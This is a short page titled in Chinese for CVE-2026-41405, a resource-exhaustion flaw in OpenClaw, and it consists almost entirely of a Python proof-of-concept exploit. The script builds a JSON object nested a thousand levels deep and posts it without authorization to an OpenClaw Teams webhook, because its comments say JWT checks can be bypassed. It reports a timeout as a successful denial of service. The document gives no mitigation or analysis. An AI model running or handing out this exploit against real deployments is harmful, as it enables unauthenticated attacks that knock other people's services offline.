CVE-2026-41405 OpenClaw资源耗尽漏洞

import requests import json # Target URL (Replace with actual target) target_url = "http://target-openclaw-instance/webhook/teams" # Malicious payload designed to exhaust resources during parsing # Creating a deeply nested structure to cause stack overflow or high CPU usage malicious_data = {"a": 1} for _ in range(1000): malicious_data = {"nested": malicious_data} headers = { "Content-Type": "application/json" # Note: The vulnerability allows bypassing JWT, so no Authorization header is strictly needed to trigger the parse } try: print("Sending malicious payload to trigger resource exhaustion...") response = requests.post(target_url, data=json.dumps(malicious_data), headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out - Denial of Service likely successful.") except Exception as e: print(f"An error occurred: {e}")